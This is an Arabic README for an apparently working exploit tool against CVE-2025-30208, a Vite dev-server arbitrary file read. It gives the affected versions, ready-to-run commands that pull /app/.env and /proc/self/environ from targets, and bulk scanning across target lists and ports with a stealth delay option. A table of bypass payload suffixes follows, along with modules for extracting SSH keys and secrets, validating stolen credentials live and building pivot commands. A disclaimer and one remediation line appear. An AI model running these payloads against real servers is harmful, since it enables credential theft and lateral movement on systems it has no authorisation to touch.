
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
الشدة: CVSS 5.3 متوسطة (خادم تطوير يمكن الوصول إليه عبر الشبكة)
⚠ للاستخدامات الأمنية المصرح بها فقط.
الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني.
يسمح خادم التطوير في Vite بتقديم ملفات تعسفية من نظام ملفات المضيف عبر طلبات /@fs/.
في الإصدارات المتأثرة، يتيح غياب فحص تعقيم سلسلة الاستعلام للمهاجم إلحاق لواحق مصممة خصيصًا لتجاوز القائمة المسموحة وقراءة أي ملف يمكن للعملية الوصول إليه — بما في ذلك ملفات .env ومفاتيح SSH الخاصة وبيانات اعتماد السحابة وإدخالات /proc.
| الفرع | آخر إصدار قابل للاستغلال | الإصدار المُصحَّح |
|---|---|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
pip install requests
# or
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
منافذ الفحص المجمّع الافتراضية: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
عند تحديد --output /tmp/report يكتب الماسح:
/tmp/report.json — نتائج منظمة قابلة للقراءة آليًا/tmp/report.md — تقرير Markdown قابل للقراءة البشريةيطبع الفحص المجمّع دائمًا VULN_COUNT=N في السطر الأخير لسهولة البرمجة النصية في الصدفة:
python main.py -l targets.txt | grep '^VULN_COUNT='
تطبع فحوصات الهدف الواحد SCAN_STATUS=VULNERABLE|NOT_VULNERABLE في النهاية لأغراض الأتمتة.
cve30208/
├── __init__.py — public API surface
├── __main__.py — python -m cve30208 entry point
├── constants.py — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan constants
├── ui.py — ANSI colour codes, Spin/NullSpin, terminal helpers
├── utils.py — shared helpers (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (live credential validation)
│ includes a check registry for easier extension
├── report.py — save_report(), make_md()
└── scanner.py — FR/R dataclasses, Scanner, bulk_scan(), main()
main.py — backwards-compatibility shim
requirements.txt
يستبعد الماسح تلقائيًا القطع الأثرية المتكررة بحيث تظل المخرجات نظيفة حتى عندما يساوي HOME قيمة /root أو يظهر السر نفسه في ملفات متعددة:
يُبلغ سطر الملخص عن عدد الملفات والأسرار ومفاتيح SSH التي تم استبعادها كبيانات مكررة، على سبيل المثال:
deduped 2 file(s), 4 credential(s), 1 SSH key(s) suppressed as duplicates
--host 0.0.0.0 على شبكات غير موثوقة..env وأزل الأسرار غير الضرورية من المشروع.هذه الأداة مقدمة لاختبار الاختراق والبحث الأمني المصرح بهما فقط.
باستخدامك لهذه الأداة فإنك تقرّ بأن لديك إذنًا كتابيًا صريحًا لاختبار الأنظمة المستهدفة.
لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام أو ضرر يسببه هذا البرنامج.
CVE-2025-30208 PoC v5
يتضمن ملف JSON المُنشأ الآن:
schema_version (الحالي: 1.0.0)status (VULNERABLE أو NOT_VULNERABLE)safe_mode (true عند تفعيل وضع تنقيح الأسرار في الطرفية)report_redacted (true عند وجود سر واحد على الأقل وتم تنقيحه في التقارير المحفوظة)| الاسم | اللاحقة / الاستعلام | الوصف |
|---|
raw?? | ?raw?? | اللاحقة ?? تكسر rawRE |
import&raw?? | ?import&raw?? | دمج وحدة ES مع raw |
raw? | ?raw? | علامة ? لاحقة مفردة |
url&raw?? | ?url&raw?? | دمج وضع URL |
raw&url?? | ?raw&url?? | ترتيب معكوس للمعاملات |
import&?raw | ?import&?raw | بادئة import تالفة |
sec-fetch | ?raw + ترويسة Sec-Fetch | سياق سكربت المتصفح |
raw-encoded | ?raw%3f%3f | فواصل بترميز URL |
double-slash | ?raw??/ | تجاوز بلاحقة الشرطة المائلة المزدوجة (v5) |
pct-all | %3fraw%3f%3f | استعلام مرمَّز بالكامل بنسبة مئوية (v5) |
raw-hash | ?raw??# | تجاوز عبر مرساة المقطع (v5) |
wasm-init | ?inline=1.wasm?init | شقيق CVE-2025-31125 (تهيئة wasm) |
| العلامة | الافتراضي | الوصف |
|---|
-t/--target | — | رابط هدف واحد |
-l/--lists | — | ملف يحتوي على هدف واحد في كل سطر |
--stealth | off | إضافة تأخيرات عشوائية بين الطلبات |
--proxy | — | بروكسي HTTP/HTTPS (http://host:port) |
--timeout | 10 | مهلة زمنية لكل طلب بالثواني |
--verify | off | تفعيل التحقق من شهادة TLS |
--file | — | قراءة مسار محدد على المضيف الهدف |
--save | — | حفظ محتوى --file في مسار محلي |
--full-chain | on | تشغيل سلسلة الاستغلال الكاملة (التحقق المباشر هو الافتراضي) |
--output | — | كتابة تقرير JSON + Markdown إلى هذا المسار الأساسي |
--workers | 10 | عاملات متوازية للفحص المجمّع |
--ports | انظر أدناه | منافذ مفصولة بفواصل لاستكشافها في وضع الفحص المجمّع |
--no-color/--plain | off | تعطيل رموز الألوان ANSI |
--safe-mode | off | تنقيح القيم السرية في مخرجات الطرفية |
--show-secrets | off | إظهار الأسرار كاملة في الطرفية (يتجاوز --safe-mode) |
--version | — | طباعة الإصدار والخروج |
| الطبقة | الآلية |
|---|
| قراءات نظام الملفات | يقوم stage_fs بتطبيع القائمة الأساسية لمفاتيح SSH باستخدام dict.fromkeys ويتجاهل المسارات المكررة من قائمة انتظار reads قبل إنتاج أي مخرجات. |
| حفظ الملفات | يتحقق Scanner._save من مجموعة _seen_file_paths لكل فحص؛ وتعيد المسارات المكررة FR المخزّن مسبقًا دون إعادة إضافته إلى r.files. |
| الأسرار | يزيل Scanner._save التكرارات من r.secrets عالميًا حسب (name, value) عبر جميع الملفات؛ ويُتعامل مع إزالة التكرار داخل الملف الواحد بشكل منفصل في scan_secrets. |
| مفاتيح SSH | يدمج stage_ssh المفاتيح ذات التوقيع PEM نفسه (أول _PEM_SIG_LEN بايت) التي تظهر عبر ملفات مصدر متعددة. |
| أوامر التوجيه (Pivot) | تُفهرَس كتل التوجيه حسب (key_source, host, port)؛ وتُطبع التركيبات المتطابقة مرة واحدة فقط. |